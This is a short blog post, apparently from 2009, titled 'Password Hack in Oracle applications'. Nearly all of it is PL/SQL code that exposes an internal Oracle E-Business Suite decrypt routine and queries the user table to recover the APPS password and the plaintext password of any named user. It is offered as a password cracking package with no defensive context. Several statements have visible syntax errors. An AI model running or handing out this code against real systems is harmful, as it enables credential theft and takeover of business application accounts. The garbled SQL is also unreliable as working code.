The Genius

Monday, November 02, 2009

Password Hack in Oracle applications

--created Password cracking package
--
create or replace package get_pwd as
function decrypt(key in varchar2, value in varchar2)
return varchar2;
End get_pwd;

create or replace package body get_pwd as
function decrypt(key in varchar2, value in varchar2)
return varchar2 as
language javaname 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String)
return java.lang.String';
End get_pwd;
--


--Get the apps password
select
get_pwd.decrypt(upper((select upper(fnd_profile.VALUE'GUEST_USER_PWD' from dual)),
usertable.encrypted_foundation_password) apps_password
from fnd_user usertable
where usertable.user_name like
upper((select substr(fnd_profile.value('GUEST_USER_PWD',1, instr(fnd_profile.value('GUEST_USER_PWD'),'/')-1) from dual))
--

--'GUEST_USER_PWD' Profile
select fpov.profile_option_value, fpot.profile_option_name, fpot.descriptionfrom applsys.fnd_profile_options_TL fpot ,applsys.fnd_profile_options fpo ,applsys.fnd_profile_option_values fpovwhere fpov.profile_option_id = fpo.profile_option_id and fpo.profile_option_name = fpot.profile_option_name and fpo.profile_option_name = 'GUEST_USER_PWD'


--Get the password for any user
select fu.user_name,
(select get_pwd.decrypt((select get_pwd.decrypt(upper((select upper(fnd_profile.VALUE('GUEST_USER_PWD' )) from dual)) ,usertable.encrypted_foundation_password) apps_pwd
from fnd_user usertable
where usertable.user_name like upper((select substr(fnd_profile.value('GUEST_USER_PWD', 1, instr(fnd_profile.value('GUEST_USER_PWD'),'/')-1) from dual))),fu.encrypted_user_password) from dual) EP
from fnd_user fu
where fu.user_name like upper('&username')
--

Labels: , ,